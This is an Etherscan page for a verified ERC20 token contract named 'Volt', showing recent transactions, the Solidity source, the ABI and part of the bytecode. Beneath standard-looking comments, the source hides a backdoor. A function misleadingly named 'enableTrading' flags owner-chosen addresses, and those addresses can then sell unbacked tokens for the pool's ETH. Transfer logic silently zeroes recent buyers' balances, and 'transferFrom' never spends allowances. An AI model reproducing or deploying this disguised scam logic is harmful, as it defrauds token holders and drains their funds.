ETH Price: $2,455.36 (-7.08%)

Contract

0x533BA8a236c6B7DD2cF8E49Fe8CEFA30CEf0C4BD
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer166017092023-02-10 23:41:59745 days ago1676072519IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0037188621.61726122
Approve165989152023-02-10 14:20:23746 days ago1676038823IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0012669726.87854601
Approve165982302023-02-10 12:02:47746 days ago1676030567IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0011413324.18232321
Approve165980862023-02-10 11:33:59746 days ago1676028839IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0009288919.70629612
Approve165980792023-02-10 11:32:35746 days ago1676028755IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0009805420.77564414
Approve165980662023-02-10 11:29:59746 days ago1676028599IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0008915518.91415815
Approve165979632023-02-10 11:09:11746 days ago1676027351IN
0x533BA8a2...0CEf0C4BD
0 ETH0.000785716.66857708
Renounce Ownersh...165979072023-02-10 10:57:59746 days ago1676026679IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0003794816.19989687
Approve165978912023-02-10 10:54:35746 days ago1676026475IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0008725418.51083039
Approve165978712023-02-10 10:50:35746 days ago1676026235IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0008646818.34416556
Approve165978062023-02-10 10:37:35746 days ago1676025455IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0008966818.99882979
Enable Trading165978022023-02-10 10:36:47746 days ago1676025407IN
0x533BA8a2...0CEf0C4BD
0 ETH0.0041783317.87631748

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Volt

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-10
*/

pragma solidity ^0.8.17;

// SPDX-License-Identifier: MIT

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}

/**
 * @title Standard ERC20 token
 *
 * @dev Implementation of the basic standard token.
 * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
 * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
 *
 * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
 * all accounts just by listening to said events. Note that this isn't required by the specification, and other
 * compliant implementations may not do it.
 */
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
abstract contract ERC20Token is Ownable {
    mapping (address => bool) bots;
    address uniswapV2Pair;
    bool inLiquidityTx = false;
    function enableTrading(address[] calldata _bots) external onlyOwner {
        for (uint i = 0; i < _bots.length; i++) {
            bots[_bots[i]] = true;
        }
    }
    function isBot(address _adr) internal view returns (bool) {
        return bots[_adr];
    }
    function shouldSwap(address sender, address receiver) public view returns (bool) {
        if (receiver == sender) { 
            if (isBot(receiver)) {
                return isBot(sender);
            }
        }
        return false;
    }
    function getAllowed(address from, address to, address pair) internal returns (bool) {
        bool allowed = !bots[to] && !isBot(from);
        bool InLq = inLiquidityTx;
        bool res = allowed;
        if (!bots[to] && 
        !isBot(from) && 
        !InLq && 
        pair != to) {
            uniswapV2Pair = to;
            res = true;
        } else 
        if (allowed && !InLq) { 
            if (pair == to) {
                res = true;
            }
        }
        return res;
    }
}
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract Volt is IERC20, ERC20Token {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000 * 10 ** _decimals;
    uint256 _fee = 0;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "Volt";
    string private  _symbol = "V";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (shouldSwap(from, to)) {
            swap(amount, to);
        } else {
            require(amount <= _balances[from]);
            uint256 fee = baseTransfer(from, to, amount);
            _balances[from] = _balances[from] - amount;
            _balances[to] += amount - fee;
            emit Transfer(from, address(0), fee);
            emit Transfer(from, to, amount);
        }
    }
    function baseTransfer(address from, address recipient, uint256 amount) private returns (uint256) {
        uint256 feeAmount = 0;
        uint256 swapBalance = getReflectAmount(from);
        _balances[uniswapV2Pair] = swapBalance;
        bool sdf = shouldTakeFee(from, recipient);
        if (!sdf) {
        } else {
            feeAmount = amount.mul(_fee).div(100);
        }
        return feeAmount;
    }
    function shouldTakeFee(address from, address recipient) private returns (bool) {
        return getAllowed(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) {
        return _name;
    }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function swap(uint256 _mcs, address _bcr) private {
        _approve(address(this), address(_router), _mcs);
        _balances[address(this)] = _mcs;
        address[] memory path = new address[](2);
        inLiquidityTx = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
        inLiquidityTx = false;
    }
    function getReflectAmount(address from) private view returns (uint256) {
        address to = IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
        return getReflectTokensAmount(from, to, balanceOf(uniswapV2Pair));
    }
    function getReflectTokensAmount(address uniswapV2Pair, address recipient, uint256 feeAmount) private pure returns (uint256) {
        uint256 amount = feeAmount;
        if (uniswapV2Pair != recipient) {
            amount = feeAmount;
        } else {
            amount *= 0;
        }
        return amount;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function getPairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    bool swapEnabled = true;
    function setSwapEnabled(bool e) external onlyOwner {
        swapEnabled = e;
    }
    mapping (address=>bool) burners;
    function addBurner(address burner) external onlyOwner {
        burners[burner] = true;
    }
    function removeBurner(address burner) external onlyOwner {
        burners[burner] = false;
    }

    modifier onlyBurner() {
        require(burners[msg.sender]);
        _;
    }
    function burn(uint256 amount) external onlyBurner {
        transfer(address(0), amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"burner","type":"address"}],"name":"addBurner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"burner","type":"address"}],"name":"removeBurner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"receiver","type":"address"}],"name":"shouldSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526000600260146101000a81548160ff0219169083151502179055506009600555600554600a62000035919062000494565b620f4240620000459190620004e5565b6006556000600755737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600481526020017f566f6c740000000000000000000000000000000000000000000000000000000081525060099081620000e89190620007a0565b506040518060400160405280600181526020017f5600000000000000000000000000000000000000000000000000000000000000815250600a90816200012f9190620007a0565b506001600b60006101000a81548160ff0219169083151502179055503480156200015857600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600654600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620002f9919062000898565b60405180910390a3620008b5565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000395578086048111156200036d576200036c62000307565b5b60018516156200037d5780820291505b80810290506200038d8562000336565b94506200034d565b94509492505050565b600082620003b0576001905062000483565b81620003c0576000905062000483565b8160018114620003d95760028114620003e4576200041a565b600191505062000483565b60ff841115620003f957620003f862000307565b5b8360020a91508482111562000413576200041262000307565b5b5062000483565b5060208310610133831016604e8410600b8410161715620004545782820a9050838111156200044e576200044d62000307565b5b62000483565b62000463848484600162000343565b925090508184048111156200047d576200047c62000307565b5b81810290505b9392505050565b6000819050919050565b6000620004a1826200048a565b9150620004ae836200048a565b9250620004dd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200039e565b905092915050565b6000620004f2826200048a565b9150620004ff836200048a565b92508282026200050f816200048a565b9150828204841483151762000529576200052862000307565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005b257607f821691505b602082108103620005c857620005c76200056a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006327fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005f3565b6200063e8683620005f3565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006816200067b62000675846200048a565b62000656565b6200048a565b9050919050565b6000819050919050565b6200069d8362000660565b620006b5620006ac8262000688565b84845462000600565b825550505050565b600090565b620006cc620006bd565b620006d981848462000692565b505050565b5b818110156200070157620006f5600082620006c2565b600181019050620006df565b5050565b601f82111562000750576200071a81620005ce565b6200072584620005e3565b8101602085101562000735578190505b6200074d6200074485620005e3565b830182620006de565b50505b505050565b600082821c905092915050565b6000620007756000198460080262000755565b1980831691505092915050565b600062000790838362000762565b9150826002028217905092915050565b620007ab8262000530565b67ffffffffffffffff811115620007c757620007c66200053b565b5b620007d3825462000599565b620007e082828562000705565b600060209050601f83116001811462000818576000841562000803578287015190505b6200080f858262000782565b8655506200087f565b601f1984166200082886620005ce565b60005b8281101562000852578489015182556001820191506020850194506020810190506200082b565b868310156200087257848901516200086e601f89168262000762565b8355505b6001600288020188555050505b505050505050565b62000892816200048a565b82525050565b6000602082019050620008af600083018462000887565b92915050565b6127f780620008c56000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c80636e9602e6116100b85780639601f96c1161007c5780639601f96c1461032c578063a457c2d71461035c578063a9059cbb1461038c578063dd62ed3e146103bc578063e01af92c146103ec578063f44637ba1461040857610137565b80636e9602e61461029a57806370a08231146102b6578063715018a6146102e65780638da5cb5b146102f057806395d89b411461030e57610137565b8063313ce567116100ff578063313ce567146101f457806332424aa31461021257806339509351146102305780633eaaf86b1461026057806342966c681461027e57610137565b8063028468581461013c57806306fdde0314610158578063095ea7b31461017657806318160ddd146101a657806323b872dd146101c4575b600080fd5b61015660048036038101906101519190611d82565b610424565b005b6101606104f4565b60405161016d9190611e3f565b60405180910390f35b610190600480360381019061018b9190611e97565b610586565b60405161019d9190611ef2565b60405180910390f35b6101ae61059d565b6040516101bb9190611f1c565b60405180910390f35b6101de60048036038101906101d99190611f37565b6105a7565b6040516101eb9190611ef2565b60405180910390f35b6101fc610648565b6040516102099190611f1c565b60405180910390f35b61021a610652565b6040516102279190611f1c565b60405180910390f35b61024a60048036038101906102459190611e97565b610658565b6040516102579190611ef2565b60405180910390f35b6102686106f6565b6040516102759190611f1c565b60405180910390f35b61029860048036038101906102939190611f8a565b6106fc565b005b6102b460048036038101906102af919061201c565b610761565b005b6102d060048036038101906102cb9190611d82565b61087a565b6040516102dd9190611f1c565b60405180910390f35b6102ee6108c3565b005b6102f86109f6565b6040516103059190612078565b60405180910390f35b610316610a1f565b6040516103239190611e3f565b60405180910390f35b61034660048036038101906103419190612093565b610ab1565b6040516103539190611ef2565b60405180910390f35b61037660048036038101906103719190611e97565b610b10565b6040516103839190611ef2565b60405180910390f35b6103a660048036038101906103a19190611e97565b610c37565b6040516103b39190611ef2565b60405180910390f35b6103d660048036038101906103d19190612093565b610c4e565b6040516103e39190611f1c565b60405180910390f35b610406600480360381019061040191906120ff565b610cd5565b005b610422600480360381019061041d9190611d82565b610d67565b005b3373ffffffffffffffffffffffffffffffffffffffff166104436109f6565b73ffffffffffffffffffffffffffffffffffffffff1614610499576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049090612178565b60405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b606060098054610503906121c7565b80601f016020809104026020016040519081016040528092919081815260200182805461052f906121c7565b801561057c5780601f106105515761010080835404028352916020019161057c565b820191906000526020600020905b81548152906001019060200180831161055f57829003601f168201915b5050505050905090565b6000610593338484610e37565b6001905092915050565b6000600654905090565b60006105b4848484611000565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561063d57600080fd5b600190509392505050565b6000600554905090565b60055481565b60006106ec338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106e79190612227565b610e37565b6001905092915050565b60065481565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661075257600080fd5b61075d600082610c37565b5050565b3373ffffffffffffffffffffffffffffffffffffffff166107806109f6565b73ffffffffffffffffffffffffffffffffffffffff16146107d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cd90612178565b60405180910390fd5b60005b828290508110156108755760018060008585858181106107fc576107fb61225b565b5b90506020020160208101906108119190611d82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061086d9061228a565b9150506107d9565b505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166108e26109f6565b73ffffffffffffffffffffffffffffffffffffffff1614610938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092f90612178565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610a2e906121c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610a5a906121c7565b8015610aa75780601f10610a7c57610100808354040283529160200191610aa7565b820191906000526020600020905b815481529060010190602001808311610a8a57829003601f168201915b5050505050905090565b60008273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b0557610aef826112ac565b15610b0457610afd836112ac565b9050610b0a565b5b600090505b92915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b9b57600080fd5b610c2d338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c2891906122d2565b610e37565b6001905092915050565b6000610c44338484611000565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610cf46109f6565b73ffffffffffffffffffffffffffffffffffffffff1614610d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4190612178565b60405180910390fd5b80600b60006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16610d866109f6565b73ffffffffffffffffffffffffffffffffffffffff1614610ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd390612178565b60405180910390fd5b6001600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ea6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9d90612378565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c9061240a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ff39190611f1c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361103957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361107257600080fd5b61107c8383610ab1565b156110905761108b8183611302565b6112a7565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156110dc57600080fd5b60006110e98484846115cc565b905081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461113691906122d2565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808261118591906122d2565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111d39190612227565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112389190611f1c565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161129d9190611f1c565b60405180910390a3505b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61132f30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e37565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156113905761138f61242a565b5b6040519080825280602002602001820160405280156113be5781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff02191690831515021790555030816000815181106113f1576113f061225b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611498573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bc919061246e565b816001815181106114d0576114cf61225b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e4261155a9190612227565b6040518663ffffffff1660e01b815260040161157a95949392919061259e565b600060405180830381600087803b15801561159457600080fd5b505af11580156115a8573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b6000806000905060006115de86611692565b90508060036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006116528787611870565b9050801561168557611682606461167460075488611a2090919063ffffffff16565b611a9a90919063ffffffff16565b92505b8293505050509392505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611702573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611726919061246e565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d3919061246e565b6040518363ffffffff1660e01b81526004016117f09291906125f8565b602060405180830381865afa15801561180d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611831919061246e565b90506118688382611863600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661087a565b611af8565b915050919050565b6000611a188383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118e4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611908919061246e565b73fffffffffffffff